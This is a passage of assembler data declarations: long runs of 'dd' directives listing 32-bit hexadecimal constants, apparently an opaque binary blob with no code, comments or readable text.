0BDAC6E95h, 0B4CC790h dd 2F31EA01h, 0F39DBFDBh, 177609C4h, 0C40AEE8Ch, 829AA93Ch dd 565D33BBh, 8F446999h, 81A6B900h, 42C0C632h, 0C310089h dd 0D24675E1h, 0CD0B39C7h, 0E2A7C270h, 40EADCABh, 9417F361h dd 4A8DAA05h, 0D9FACBE1h, 0B4DC0509h, 719D5155h, 965F8AE5h dd 0A700DE9Eh, 69EC9A8Fh, 2CFD0DC6h, 2FBA44AFh, 0CF8A0152h dd 694D4FF5h, 8F494057h, 6153B5ABh, 5CDB5Ah, 2BA31E64h dd 3B13352Fh, 44109DE0h, 0D5F9B2D1h, 0B779384Ch, 0E1121B97h dd 0CA6F659Dh, 8D3104C4h, 25AB1469h, 59478180h, 2050112Fh dd 0C8EE9DCDh, 25BD3363h, 395B1B11h, 0D477C3ADh, 5A392DABh dd 0F7BCD3B8h, 288E4705h, 3D128301h, 0EAA324A5h, 32D0899Bh dd 0FB0A87C0h, 5F096D05h, 5B7AB755h, 181B597Ch, 36AF013Fh dd 0DAAED532h, 813928DCh, 0BF28ACE4h, 0EA6FBE83h, 0BBB590Dh dd 2E26CDC9h, 0F2141612h, 0C041CF8Fh, 0A46A3D63h, 0F1C625E5h dd 895C47E2h, 0DBF03DCh, 5560ACDCh, 8352FBBCh, 7A6E67C5h dd 7A271B23h, 0E38E09E8h, 47854AF0h, 0A8EB84B9h, 17EDA5DEh dd 0E90085A8h, 0BF7CB3FFh, 17DF1734h, 5235BD29h, 90E6A224h dd 3926664Eh, 60960E87h, 0B563CA8Ah, 0D18D61DAh, 0F93F67C2h dd 2744968Bh, 0B8A0DDACh, 82E5720h, 1B60813Bh, 22B05Ch dd 0D4106CA5h, 0A1F99904h, 0D647B717h, 7F61610Bh, 0ACA35CA4h dd 6053C0B6h, 25EDF080h, 71545B61h, 2B600655h, 4525BEAAh dd 0A5CB652Ah, 31F4B35h, 84086D89h, 0A2523D8Bh, 12508ECBh dd 0C68045DEh, 2BC51B13h, 31B19D12h, 0B04BEAB7h, 7395C6D8h dd 7FDD024h, 654ED725h, 162392EDh, 9D31D11Fh, 2D587279h dd 9F2B583Ah, 67010937h, 8BC1B74Bh, 0E0754DCAh, 9D6F14BCh dd 97DB633Ch, 0DEE642Dh, 6BAD1B3Fh, 1EB3688h, 0A007F804h dd 80BEE913h, 0E1D5C3DFh, 0CAC06Fh, 0D2DF64E4h, 0CED966EAh dd 0B862EE3Fh, 526381EDh, 7B434F23h, 4404EE5h, 71D37D5Dh dd 0EE620044h, 5A2E8BDBh, 0C6039E52h, 357C2A59h, 0D7FD900Dh dd 0CD00040h, 1147298Eh, 5C12C375h, 90FE3073h, 176B53CBh dd 8BF73600h, 844472BCh, 576D03BFh, 248C2974h, 0EE3F3900h dd 5676419Dh, 1F2A7970h, 0A55DA1F2h, 7DDA89FDh, 0CC3B0168h dd 0A2F8DE00h, 0B414B2D5h, 0D0AC6F94h, 7A6E471Dh, 0E579ACD0h dd 0AB55ED03h, 0F069B2BFh, 7CF033h, 0A627F8B0h, 89114B8Ch dd 4647AA00h, 485DEA66h, 7FCD0061h, 7CABCA78h, 3900190Dh dd 67BB84E5h, 292D18h, 82A0EAD5h, 745873BCh, 0D9002676h dd 0E2690DB1h, 1D1C23E4h, 87CB2A0Ch, 0B04987A7h, 0C3B684AAh dd 0F2E77E30h, 81A1E5h, 774772BDh, 0BCEFC22Bh, 0A0008671h dd 0DC22735Ah, 0C05F21F4h, 0A40B5431h, 1900A525h, 0D17B3D2h dd 13D98993h, 2072B167h, 1D2B1177h, 9C6FA3Eh, 7F550560h dd 0CFB364C0h, 5E4CE261h, 0E6CC8B0Fh, 69170FBEh, 37206FBFh dd 8FA94E1Ch, 9CDF9F00h, 0D8C29709h, 1B53067h, 78523161h dd 7D5B4400h, 0D6370B2Bh, 0EEB94B85h, 4D5D610h, 1DB595B1h dd 8551E0BEh, 6F58A60Fh, 0E9B6003Ch, 5D98A0h, 0D7F39A65h dd 0DF715175h, 68587000h, 2707063Eh, 0A18824D6h, 0C4E29011h dd 40809FB3h, 30CBEB22h, 991F9A6Eh, 6286D48h, 93069C18h dd 0BC9C85BBh, 0E03E00EAh, 297B1FCCh, 773CD9E1h, 0C9C08028h dd 1E4694E5h, 35150031h, 4EA580E9h, 25017941h, 0B3741239h dd 49C464FBh, 810600C4h, 0E32428B1h, 0F005C1CCh, 1A7EE6B5h dd 656EC204h, 687F7849h, 0CAF291h, 0FEFAA880h, 0BC9A1145h dd 0C49F6700h, 5AABC7B9h, 5827001Bh, 0F3B8931h, 0CC00EAD1h dd 4AA3FFDFh, 202879h, 16312F1Bh, 0B081E836h, 0E27A6A24h dd 0BF019402h, 78808A89h, 0E5C41A00h, 760AB86h, 1B644A42h dd 567023C7h, 8821E2C1h, 923982A8h, 0E5CAFEC4h, 0B1045A81h dd 0F0B457CCh, 12829630h, 324E8E67h, 0E0A88058h, 1F901848h dd 3C0DDDE4h, 3681F147h, 1442E640h, 55650352h, 0C8EE3E09h dd 7D1DCED8h, 0DAE22F00h, 5B63AFF0h, 1FD40318h, 9860B5D1h dd 869B7728h, 0C7445100h, 0ACC95D13h, 0B7243h, 92D38276h dd 0F6F408C6h, 74003373h dd 47A6F740h, 0C46B7Bh, 4F9EFCDAh, 3907016Ch, 0D6F8E0C0h dd 3053662Eh, 0E640BFEDh, 6868D095h, 0DB00A70Fh, 14A16915h dd 3917C0ACh, 98F1CDEDh, 14FECF3Dh, 18A07850h, 0EB23C1B5h dd 0B4943BBBh, 257D4C0Fh, 0CEE002CFh, 0C497D63Dh, 2901C200h dd 8518EE9Dh, 277AA3h, 0B19FBFE9h, 8F0C58Dh, 0B4ABD60h dd 0E9CFE03Ah, 26CBF860h, 420FEDC8h, 0EE803B6Dh, 559E38A3h dd 86C3DD3Ch, 2D79CFEAh, 297A1D3Eh, 969500D1h, 0E507857h dd 53CDC201h, 7161F1F3h, 4EA4AD6h, 0A7004571h, 35431756h dd 1E3C6A00h, 304CA0DFh, 0C61354E5h, 0D0D90010h, 6ABB92E8h dd 890CB119h, 210CF4C1h, 97F79807h, 0EB9347F6h, 2B138700h dd 0C0F6FA4Eh, 4DA8F966h, 5300AFF8h, 8B0B2464h, 50604A88h dd 0F0BBC44Ch, 46F001B3h, 8C98C84Dh, 626924B1h, 0A91FBA0Ch dd 2AA4805h, 0BC241A59h, 0E641B893h, 3CB94067h, 0AC1E8FDEh dd 1B4A4741h, 3E80BD77h, 95F4CAF0h, 517B0156h, 54CCC30Dh dd 708A41A7h, 6E00C244h, 0E1D9C1h, 79714C9Dh, 530ED02h dd 0EEE03103h, 7E3B5CBh, 5CF4CEECh, 0E51C7087h, 0F37DCF18h dd 20BE4B00h, 439BBB90h, 12F8122Ah, 0CB550CD3h, 0FFF84836h dd 2DEEFD05h, 358610A5h, 2A7B1D18h, 87865B26h, 0EEE0BFF4h dd 507FFFh, 12634345h, 0D9BEFDCCh, 0B1E8F428h, 0C00AF148h dd 113E6E35h, 30CCE4F9h, 0D456CF39h, 0A2509261h, 0D1FCB29Ah dd 6B597304h, 0ACD40323h, 7045AA80h, 26A06088h, 0BFDBA8Bh dd 11000FD2h, 0B8FBDBF0h, 31BF00B4h, 3AAC1365h, 4D001517h dd 7D4F6A7Ch, 0CC8638h, 0EED92576h, 3E4298BEh, 0F82DAD00h dd 116C6857h, 9F7E0072h, 0C89AE237h, 0C7F8C2B2h, 847BE7E2h dd 0BA6AE600h, 4C588F82h, 27A94880h, 48E324h, 0E8C11D3Dh dd 0FA03F68Dh, 0D044FB12h, 4293D889h, 277908h, 98E9C9DDh dd 9FE1A846h, 217B202h, 800EAB23h, 0CCC9618Ch, 3377863h dd 961A39A1h, 7F00306Ah, 0B18DD1F8h, 0BA37658h, 0C6993EDDh dd 0C87F7109h, 0E8FA785h, 44BF292h, 0D31349E0h, 3409C31Bh dd 90C92063h, 4EE56BDEh, 0B540AB5Eh, 2E0574BAh, 16C99077h dd 0C0DAF2h, 0DF87CF98h, 3E1D8217h, 359D4DE4h, 0FB90F0Ch dd 1A6003BAh, 9A531598h, 0B03ECE96h, 3324C16h, 0B195B79Ch dd 2B0BE06Dh, 0A99D7h, 82E1C1CAh, 47007DAFh, 0BE106145h dd 197B791h, 99B39854h, 297269B5h, 0FFA4254Fh, 55604C17h dd 5E815D54h, 833D47C5h, 2C8760EDh, 52055C24h, 0C281E289h dd 0EA94101Dh, 14871906h, 2E8B8926h, 0B2634368h, 83E03CC3h dd 0CFC04ECh, 910FB9FCh, 0C105EBB0h, 8B5459CDh, 0C481248Ah dd 98EC902Dh, 67478F53h, 0A1512B08h, 57C181E1h, 0C106855h dd 1E34FF1Dh, 0E952F05Dh, 0FB7BC730h, 183D1900h, 0CACCC160h dd 0B8BA0978h, 0C47FB5D5h, 0BDF90134h, 8501641Ah, 0ED71ECCFh dd 9C538C00h, 0C9163E70h, 551D0044h, 11BD07F3h, 78724D7Fh dd 5CDA8C07h, 0C730014Ch, 74128E66h, 0A18201E7h, 413E1AD7h dd 4F7CFC25h, 987F3D00h, 0BB58D5B5h, 38900BAh, 3CCA60EAh dd 0C607F641h, 3F39650Ah, 0A511517Bh, 27DC5074h, 1A894EF1h dd 92409AF4h, 62E663h, 9517072h, 0D300FD4h, 0E943B709h dd 3377785Dh, 855E99EEh, 825B20BBh, 0D000F8A3h, 8AEF54F3h dd 53013DE2h, 626B8111h, 793D0489h, 30E1FBCh, 8BC58FF8h dd 96B5C1Eh, 4F552C39h, 560362B1h, 965F5CA9h, 7EAF16E6h dd 0DB71AE6Ah, 0C040FEBFh, 97EBB8CCh, 93E034CDh, 0CB06490h dd 0A58E3ABAh, 832FF958h, 6F805CC0h, 27DF192Bh, 0D91A5085h dd 76386AAFh, 58A0DC26h, 0ED9D6A80h, 0F726E022h, 2520E91Bh dd 0AC034FBFh, 0D9BC92DFh, 0D5FB3125h, 5EBF6682h, 0E959D4DCh dd 0B640F6EDh, 99B76FEh, 57877A4Ch, 0FF5F4E01h, 0F76E6FD1h dd 3A07DA00h, 0EEDBE049h, 45F5DF2Dh, 27711C69h, 9DD0ABDBh dd 76D027Dh, 26AD4C7h, 0B5B0457h, 0DE8A5002h, 0D889E7AFh dd 7558DDEh, 6950FD94h, 0DE8B3782h, 0F540D856h, 137EFBh dd 680CE233h, 599DDD76h, 0CF886F00h, 0E9BF9E6Ah, 0C5E79735h dd 98B8D608h, 1235C2DAh, 0BF38F395h, 7890DF18h, 64EA50D9h dd 0FCF78B9Fh, 1D00F6EBh, 0DF2BF3B5h, 95C7F511h, 10284F3h dd 0D084D8Dh, 15623F79h, 0E9F17EFCh, 0BD4CFDEh, 0FF6A76BEh dd 54CBEC4Dh, 0B7EF28D1h, 19E50082h, 1F4C7F6h, 85E9BBADh dd 6AF7F614h, 275A0262h, 0D88A00B0h, 0BD70E6h, 0E461F9D1h dd 2A599771h, 0C7B8FC00h, 0B9D307Fh, 5924EF4Eh, 36450252h dd 0B8F73D94h, 15BE1922h, 0B0DFC440h, 723600EFh, 90663FFCh dd 1B072FF1h, 0FA3ED861h, 1612A583h, 0FD0D8654h, 6CA8C097h dd 121C42C5h, 0BE5BF9C1h, 15798021h, 9D10891Ch, 8EC92075h dd 0D81682F1h, 10C924A1h, 1B705C10h, 0A8BF4001h, 7F800A2Ah dd 1352BC2Bh, 44F24774h, 4BF13D77h, 0B57CB180h, 0E7E8CA5Ch dd 0FADBE325h, 2D317CBBh, 394A2141h, 98092F74h, 0A9005FCFh dd 9CE98DCBh, 0B05514B7h, 9D0EFC16h, 0F1003DDBh, 0F45D6EC7h dd 9EB90027h, 39A8440Ch, 13958BF8h, 0C9761792h, 0E335BB03h dd 270CAF1Ah, 0DDA92988h, 0CC988696h, 13D2CD4Ah, 413E2D50h dd 85FF8DDCh, 0C99D0303h, 38C814A9h, 191BE4A4h, 85A5FA63h dd 0E71EFE1Bh, 0FABF01A2h, 8952314Ah, 6A5E4695h, 1CC4909Fh dd 449C00D6h, 0FFE08D38h, 4E0B8720h, 5383B611h, 3544082Fh dd 13C77C2Fh, 336EE20Eh, 0AAB5D86Ah, 6F737D0Ch, 47B9F503h dd 0DBFE850Fh, 0DDAEC00Ah, 24BC085h, 0BD33EA47h, 1ED42B71h dd 9C8AB743h, 0D9BF3CC0h, 9588905Fh, 7540B9D9h, 1D464968h dd 807FAFBEh, 0A4C69E73h, 0D3091BF1h, 54C02B44h, 5C3E0758h dd 92FE09BAh, 0C7FC9DF6h, 55BAE392h, 0B0164D1Eh, 0DA46A3A2h dd 0DC8554C8h, 7A45DE01h, 528F6566h, 410D0F20h, 0AEDD472Ch dd 93F02852h, 76777205h, 0E309EBF2h, 60737EFBh, 92D9D2Bh dd 7A93F3B7h, 6FC03FF6h, 0E03319A0h, 9CBE0FFh, 9D014754h dd 1A469355h, 0B32F250Eh, 8D3D6E57h, 3BF6088h, 0D32FD158h dd 1459DAh, 0EBDC32C7h, 250B694Dh, 0D3D8A93Fh, 0F99D16F8h dd 53E84E9Dh, 851F0CB9h, 0F3085127h, 0FF2900EDh, 1325D5F3h dd 0F6726000h, 98DCB955h, 428021Bh, 95C641ADh, 3D5174D4h dd 0CCB8110h, 1C2D5573h, 166D66B8h, 0A3AA44EFh, 0B5011436h dd 0E1FF1261h, 0B0E04CA6h, 1B5A1AE5h, 0FC16538Ah, 0A594A703h dd 11C361FBh, 3F3C214Bh, 8AE46828h, 8A9C807h, 5102B30Bh dd 5AF14E50h, 481F08A2h, 5AD780CCh, 60DDEB4Ch, 4A875C01h dd 0AA7B5F13h, 8C72847Bh, 5A00470Ch, 9E84391Ch, 0BB2611h dd 7A4EEEE8h, 60855351h, 0DB5291Ch, 0D4017C2Dh, 0C2FD175Dh dd 80938B84h, 9A0CC7DDh, 26049DF5h, 6EF11315h, 3BC1D91Bh dd 6A8F13BAh, 0A6196B48h, 21250BD8h, 0DB6B6B51h, 0CF0950BFh dd 1EE6506h, 255C4698h, 51FB03ADh, 0A6D2D9AFh, 760711B8h dd 0B97806Eh, 3DBD7DF8h, 0CFB24A00h, 1BC54BFh, 1F682689h dd 233E8846h, 51C600F5h, 8A60FB07h, 0E9D0019Dh, 0A345BF1Ch dd 2B5BF1F9h, 0F2E00AE0h, 0B63E4A97h, 7802E0E3h, 74F82482h dd 80722F54h, 5A11DBB5h, 23E974Eh, 8BC700F9h, 43798A74h dd 89F5250Bh, 1851A3DBh, 0DA001618h, 0BB90CAF4h, 5BA867DBh dd 3DC7E25Fh, 9B77AE66h, 76488509h, 725F6D7h, 16F16Dh dd 3B6BC8DAh, 3301948Eh dd 0CA2BA9BFh, 246A5B58h, 0D96FAB65h, 0B843B118h, 0BB5F472h dd 77BD5D82h, 0CD02DC92h, 5FB7FFCBh, 179186B5h, 8642D781h dd 0D3F3FC48h, 1626D110h, 3BC5F15Ah, 0B7859FA2h, 4B5AA8BEh dd 0E9960CDBh, 0F781C0E7h, 4BDB5662h, 44C0C279h, 930F5077h dd 0C0FF7ADFh, 0B3DD4B9h, 64FBCB25h, 8AC21C7Eh, 3AB72002h dd 527D2368h, 0C1BF3202h, 48356195h, 7C51DCBBh, 858D2DF5h dd 2FCF956h, 805D434Bh, 0D255B9DBh, 41D94104h, 3EEE760Ch dd 0A7B77002h, 5DCE4C90h, 5304F751h, 0B6615F44h, 42D0E0F8h dd 0E62CFEF9h, 5261B5BEh, 0FD8F2F0Ah, 7B878D5Eh, 0A6964FA6h dd 8E8CE0B1h, 0A4082767h, 1D2C6084h, 53272318h, 0B9952431h dd 0A35F963Dh, 0E25FAE72h, 0E5CF0057h, 0EF04329Fh, 1BE1003Ah dd 0BBFB2023h, 0F55A5B2Fh, 4C21448Ah, 50E573A5h, 115284EAh dd 7721C9D3h, 6140B66Fh, 0A4FF1B0h, 0A19CC92Fh, 7D909D6h dd 91C337D7h, 0FB11801Bh, 0F3511Ah, 818EEB87h, 6B9D13EFh dd 16526358h, 55A708BDh, 86A6DB5Bh, 20BCAECEh, 81020A99h dd 3F7453D3h, 2D967E42h, 2F6387Eh, 43BFFF20h, 0C0FFD7A7h dd 0B7164932h, 0F91223EEh, 0F4015396h, 505B8CF6h, 10DFE0C6h dd 5F7C3FC1h, 0AEBCD4DDh, 0E747BE02h, 5F4DBD33h, 65270752h dd 582A7C15h, 538130B9h, 3FA3896Eh, 0C2FE4624h, 65D7228Ch dd 58F1A3F6h, 0DD02B934h, 11E19036h, 70E5507h, 0D75AFD12h dd 0D73E236Eh, 0BE41F292h, 1B238C6Bh, 80D3A41Eh, 14B431Ch dd 3B57FB2Eh, 4F9B12Dh, 9D315084h, 5B2A42FAh, 88D460B3h dd 71AD7B2Dh, 68376B31h, 6421FE9Bh, 7074BF5Fh, 0BDA8AAEDh dd 7F33FE1Fh, 0B0BBE3C1h, 0DA2F0C25h, 0C01DC86Ch, 5C14FB1Bh dd 0A0F17B02h, 0C071FE0Bh, 0B7128519h, 0D418144h, 46414E42h dd 96004E1h, 0BB254585h, 1EBA698h, 0DB3812D7h, 0C0E06846h dd 0D005522h, 3E61C90Ah, 90DC7141h, 4B49B552h, 714CF25Bh dd 9E8F0F29h, 0D07F9A2Dh, 401F4105h, 964A3EC2h, 0F94B5072h dd 15B291F6h, 0C4A09E30h, 12030162h, 490021Dh, 0BBBF0F16h dd 612B7A62h, 396A296Eh, 38172E52h, 1EC6FFBh, 0CE710366h dd 0B0709B8Ah, 7762B75Bh, 0E3903F5h, 0BB51D7E8h, 0D9EA1D91h dd 0E4450024h, 4CD568C1h, 55BEC3Ah, 7FF73ADDh, 70F28F65h dd 4A7B3F03h, 0CF88878Fh, 6E178093h, 6BBB5AC0h, 0A0654F45h dd 986D8283h, 903847B9h, 48514C23h, 2D5D969Dh, 0E5B7023Fh dd 0A873F929h, 98D20D3h, 0E145FEC5h, 68A258A8h, 0E1095225h dd 912B5D51h, 0F7E99976h, 50008CB5h, 74CB6082h, 98CEB74Ah dd 53C6D82Fh, 10EDD0BCh, 116D8F09h, 72F68BDBh, 2D2348EAh dd 0BFF3042Dh, 0C1816F9h, 0E94ED009h, 25597EA1h, 0D5005837h dd 0A59258BFh, 8ACDA356h, 0D2667701h, 5D485BEh, 290C794Dh dd 5D44FA0Eh, 66B9FE8Ah, 28C19ACh, 4B88BB06h, 0EC757E8Fh dd 88E87E57h, 760BBF2Eh, 44CA07AAh, 0B0930F9Fh, 5040B4F3h dd 5942704Dh, 487DC600h, 734BACD5h, 0F9D62D13h, 947E30FCh dd 0AB5BC4D6h, 0B0AF7184h, 29581E8Ah, 0F6A44B47h, 614CBD8Eh dd 0A62DF697h, 0C500DEE3h, 1607866Bh, 58A50F6Fh, 4225851h dd 55F3ADA0h, 0D66A5F2Fh, 3316124h, 78DD3E2Ah, 84A9DE20h dd 0C7CFD680h, 1A28549Dh, 48F71B09h, 38FC39Fh, 506FAC5Fh dd 87B173BFh, 0AA9E5460h, 8D822420h, 0B19A0032h, 11271CA8h dd 3F6B64EDh, 0B464D4FEh, 8085AC9Fh, 41EEA554h, 1A3B6B81h dd 32562A62h, 323A24E2h, 0DB2DAB56h, 0D88AD0E4h, 0D116211Ch dd 110CC5E5h, 0A6E84E68h, 26A8073h, 0FCC3F4A0h, 63908F25h dd 5647D458h, 98C0195Bh, 904998E8h, 13E8BCF1h, 0B8F99DADh dd 0DB01AAF0h, 3CC4BEADh, 3D9682F7h, 5CC8E9C1h, 44D97103h dd 0BCDEADFEh, 5A0B025Ch, 8EC80718h, 0CD92097Dh, 423CC2CDh dd 0CDF63ADFh, 0EAD26489h, 0CDE0DA61h, 0B2038823h, 33346BC3h dd 0D95CD2D8h, 81827A27h, 5F9002E2h, 314B891h, 2E5D7803h dd 194CD8E3h, 0FDF30007h, 0F15EBDA5h, 2A059F8Dh, 0ECB74517h dd 230F3FBFh, 0EB5A1214h, 21B5BBD8h, 746B2BC9h, 7B092F9Ah dd 91AC35DDh, 84718515h, 95DEFDCCh, 9548DFEh, 22499D89h dd 7BFFE911h, 90EDE83h, 2CC5B595h, 1C51687Eh, 0F0D78111h dd 7825B64Fh, 1F30F5B0h, 1640E98Dh, 807002E6h, 71E447EFh dd 64B8A58h, 0F3B822AFh, 2D758A98h, 95D3C4B7h, 0F09F23FAh dd 3DB1953Bh, 81E57856h, 27C2F04Bh, 0F32F2C4h, 0E5FC0D9h dd 0DB1A2521h, 8DC3DE78h, 26757C12h, 9DF930BBh, 0BD861B31h dd 92D82693h, 816C923h, 3CE9CF46h, 44E0F8D2h, 5ACA5B9Fh dd 74AFE131h, 0A8296768h, 2F728194h, 0D0852985h, 25E5942Ah dd 0F03C0CF1h, 83CDDB95h, 153D9D2Bh, 0BF5B4D22h, 0EA23A904h dd 0C600CBF3h, 30B4E1BDh, 110E5BB8h, 84242739h, 33B8684Ch dd 8550B8D3h, 8DBEA369h, 0E4D07F4Dh, 4BD9BD33h, 1C44980Eh dd 0F9895D8Ah, 0BB01415Bh, 31D7B5B9h, 0E301D492h, 28CD4A3Bh dd 0EE0444E5h, 8325FF6Eh, 87ED4105h, 0CA1A2BD6h, 3A26475Ch dd 0D135D7A5h, 42601913h, 1E8EEE28h, 251EC9D1h, 0CB03EC51h dd 0E8D015B6h, 0E77219Bh, 0DAA33F5Fh, 70973467h, 31B917B3h dd 0CF8031C2h, 24585C0Ah, 0B1991B08h, 559D0E3Ah, 44DA2EE0h dd 0E0CE1988h, 88CD4102h, 0EE2B4B3Dh, 386BA020h, 4970001Ah dd 416FC8BEh, 0A04B11B0h, 0EC4C458Fh, 6689FFD2h, 63B84D69h dd 0A176940Bh, 30187DD6h, 51B87AB3h, 252DDA97h, 6453880Dh dd 70657FD8h, 3F70029Eh, 20C7804Ah, 652FCDDFh, 38649816h dd 11AA912Eh, 0E42FAD29h, 591D011Bh, 80AFF9EFh, 2E5FED6Ah dd 68FCCDBDh, 0C0E4B725h, 8A2EE5E1h, 0A1564556h, 0DE6E0924h dd 0ECAC712h, 811DB750h, 75CC09F3h, 4C71320Ah, 86527944h dd 813973EFh, 0CD4F07EFh, 0E50AB80Eh, 721101FCh, 9554E1DDh dd 0C89D6FF7h, 33B1A166h, 990EF07Ah, 1BED135Fh, 95DCE125h dd 7DC0C740h, 10F49D92h, 97BB6007h, 842F5612h, 0BAD2D9C4h dd 50885C61h, 7182043Ch, 6865A593h, 0D8AE4412h, 3000FA33h dd 4CF61BCEh, 32EC3C7h, 0A0648069h, 96E3AEC4h, 785CD8C2h dd 0EA15E951h, 0D29C7C1h, 0B13C0A05h, 0F65E3F53h, 8B13E009h dd 34AC0290h, 12F19509h, 73C9795Ch, 82BB5824h, 4AFE694Ch dd 20EA6FC4h, 0A1D80A18h, 51C3E009h, 695C727Ah, 6DD51CF5h dd 72DC370h, 26F6AA8Ch, 7EC0E35Bh, 568DDE4Bh, 790D9FCh dd 8A5063B7h, 784D69DDh, 804D3AC0h, 251A94F7h, 39DC3C7Eh dd 0A2819B4Bh, 0C7D1E415h, 805F288Eh, 5AF05386h, 0D67695DFh dd 3BF96750h, 5B00A777h, 0BE1DF668h, 0DE4A8A04h, 1E09B980h dd 342AF3A1h, 6F648C80h, 8149FD00h, 5212E173h, 360B974Dh dd 4F64B74h, 0CDBA35ACh, 0ADB4AA89h, 3FFE41E9h, 76B99480h dd 85044B29h, 0B89EEA38h, 2737A8C0h, 0A90984C2h, 5CABC5A7h dd 3BCD0909h, 0C1A53271h, 9D6F1A86h, 5FB92E82h, 31267A9h dd 8D84663Bh, 6A81FD74h, 89000D49h, 0DBBDF906h, 87D35A40h dd 8B87BF04h, 0E09B86E8h, 2E389CD9h, 0BDD21911h, 2ADE82Fh dd 0F98B84B7h, 98C4F750h, 77FCB527h, 2B214C0Ah, 651E7869h dd 0AC5A3707h, 0E296FB46h, 2DDD4DC6h, 2A1FC94Ah, 66BCD8EDh dd 74602E2Fh, 399A0BD9h, 8EC088h, 48344386h, 0D93A8061h dd 0E36807B5h, 57C9588Dh, 0ACC03210h, 0E649847Ch, 8E1C0494h dd 0B6BB4347h, 4DEFB0D8h dd 0E48D64A5h, 0AC7A94F1h, 7AAF4B72h, 771E25B9h, 0EA90ED91h dd 0E140AE5Eh, 0B59F343h, 56BAAE75h, 5F122350h, 82ED905Bh dd 6A01D6B8h, 0B7DBA78Fh, 55DE50D1h, 145130DBh, 2FBBD358h dd 94D69589h, 6F9B6193h, 0A86EEC85h, 16E7D4DFh, 0B3F90AEDh dd 0A8FBA9B4h, 646721AAh, 93242D66h, 7D47D0EDh, 0ED1A9F1Ch dd 209B4AC1h, 66101FE9h, 344BCEBBh, 0F5D53AAFh, 85A87AB9h dd 7D7EBD12h, 8C8413AAh, 84E3D8Ch, 458823A3h, 39867Eh dd 3949E91h, 0ECD380DFh, 1598E9A5h, 9C78161h, 7088297Ch dd 0B2D34989h, 129DCEF0h, 128C8D0Ch, 0B92DBB7Ah, 0F4B80C29h dd 59A6D3B5h, 1F236617h, 4D974876h, 3CB73ECh, 0F42F6B5Eh dd 6D4DC0B8h, 0EA0094D7h, 0FCFE7CE4h, 9543BA0Bh, 5BA7E2F3h dd 0DC645018h, 4A8D538h, 3317E81Ah, 75F38080h, 5B71D96h dd 0F4123150h, 0B4622E30h, 0B8CD57FBh, 64611C64h, 0A98AF006h dd 0D017D17h, 7FA547C2h, 0B109DDCAh, 82933DF5h, 0B870F7Ch dd 718CCB2Eh, 320802C5h, 0D35C6078h, 50AE5BE9h, 0D002361Dh dd 70F61C8h, 0E27959h, 4995EE71h, 0CA056BE9h, 0CD8D31ADh dd 7D841D94h, 0A74BEBACh, 7EADA0F5h, 9BBB50EDh, 2DDC9C91h dd 165961F3h, 0AB739918h, 7FDB789Fh, 0DCC194C2h, 8AC90A09h dd 0BD1C78F9h, 600FAB7h, 22C0662Fh, 0A9352D95h, 0B35F6FE2h dd 8EDE9BEh, 0BDA85B0Ah, 18756ACBh, 0DDB1D8h, 0DE8E253Eh dd 0FB623912h, 712B7D09h, 0CB807E06h, 8712C990h, 81B91014h dd 0AE1F3991h, 572D9C89h, 0EF5F5009h, 0E8C6E5AAh, 423D80C7h dd 39B39A64h, 0F70534A9h, 0BAB6D0A4h, 71EEE452h, 4125D09h dd 359DA705h, 2816DE0h, 0A03377DBh, 80985002h, 5700D7D6h dd 916F9890h, 13937217h, 0BE04B455h, 0A5A6C453h, 7FFFC5E0h dd 5A3E3804h, 0E6AB485Dh, 0B092F1Eh, 0D8355D16h, 29E23DACh dd 512B5ED9h, 0BD7FC25Eh, 7202388Dh, 968D4B56h, 1B60025Eh dd 178251h, 0A305696Dh, 504F0898h, 2A04BB02h, 0F496105Dh dd 0DC00DC49h, 7D3D5CD6h, 24786CCDh, 0E440FDFCh, 9489FB09h dd 29D97441h, 1D253823h, 2FBE14E5h, 0B7D622C9h, 69175EDEh dd 0C5259DD6h, 9C291610h, 3F007AA5h, 0CC6D6014h, 97B94136h dd 0D9091699h, 0C64392A5h, 0E154321h, 45251FBBh, 75F2907Ch dd 47032FB5h, 98ACE0A4h, 0E603D0B7h, 6CE925C7h, 0BD0BD8C0h dd 0CA2B1D25h, 1FC6DCB7h, 96C6A5D8h, 0E3F3F84Fh, 6F650600h dd 0BD72B164h, 5DF692BFh, 0B19C9558h, 0D45709DCh, 6AD75DCDh dd 0E55D6D04h, 8444BEBFh, 0CA1B2595h, 6EEBD7B9h, 0A512046Fh dd 0DF3CE4FFh, 4F5BD575h, 414DDAE0h, 0EAC26F32h, 0BB532007h dd 0CF25FB7Fh, 56E8CA3Fh, 324EDCB0h, 0BEA534EAh, 0D2F5E4C8h dd 8198DB06h, 97A6670Ch, 0EA966379h, 0D9D604DAh, 0A48B4091h dd 290BD6CFh, 7E08ADB5h, 495B5A1Fh, 0A7FC7B51h, 4C899F7Eh dd 0F4486F70h, 0F9D127FCh, 0C6300F7h, 0BB91AC1Bh, 0FD145609h dd 6816DF50h, 0D7A77F5Eh, 84D71CB2h, 6A050AD3h, 0F06EFF02h dd 0D0A69609h, 125F7809h, 2679D471h, 0DC8EA64Bh, 0DD041C46h dd 0AFA71F97h, 4C4DE2E0h, 25207409h, 0C703E925h, 169712BEh dd 0C0BFDB97h, 9223ED56h, 9D9B987Bh, 0C524F537h, 0C073EE0Fh dd 815114A1h, 0FD9B3BC7h, 6B749777h, 21C5B5C2h, 23810F90h dd 50671769h, 15A8F88h, 5DC50970h, 89205619h, 72FFB72Eh dd 0B3539772h, 12EE87D8h, 0E114A9D3h, 0BA7E7E8Ch, 0AA3B0700h dd 0A00CBAEAh, 1AEE9C0Bh, 59B05D8Bh, 0E01EBF66h, 33C26AD0h dd 0C42F49BDh, 2D353B6Bh, 39208D40h, 25F59004h, 81C51261h dd 0A14F2111h, 2FBC3B28h, 1CA3DF2Ch, 0E6022011h, 318D2970h dd 384EF712h, 0B36B0145h, 82186828h, 0E5BA2B44h, 84012B0Bh dd 0FA84BB66h, 0C2B3E82Ah, 5C3DBD29h, 85016068h, 818009A9h dd 34A709D7h, 6E707190h, 9925DA98h, 8498591Bh, 125642CFh dd 8A6DCF0Ah, 5CAFE989h, 4FA6E02Bh, 7B00428Ah, 5CE3DA6Fh dd 1814C78h, 0B0EC698h, 78D286FCh, 110425C2h, 0CC2A2D8Eh dd 22F32396h, 99A44A3Fh, 2BD2385h, 4E762411h, 0A090AC80h dd 8DFD4Bh, 5C34F6D3h, 0A55B9C1Bh, 459D0918h, 0D24FE96Dh dd 0B317522Dh, 0CB0F3C7Ch, 5CFC4D92h, 4A36446Ch, 1412CC52h dd 6EAE70EFh, 7A002FAAh, 47BCF338h, 48AF105h, 7F76BAF4h dd 8585B95Bh, 0B8103AB7h, 31BDC285h, 59657702h, 8753BC09h dd 39E0811Eh, 5666E825h, 7200BD6Ah, 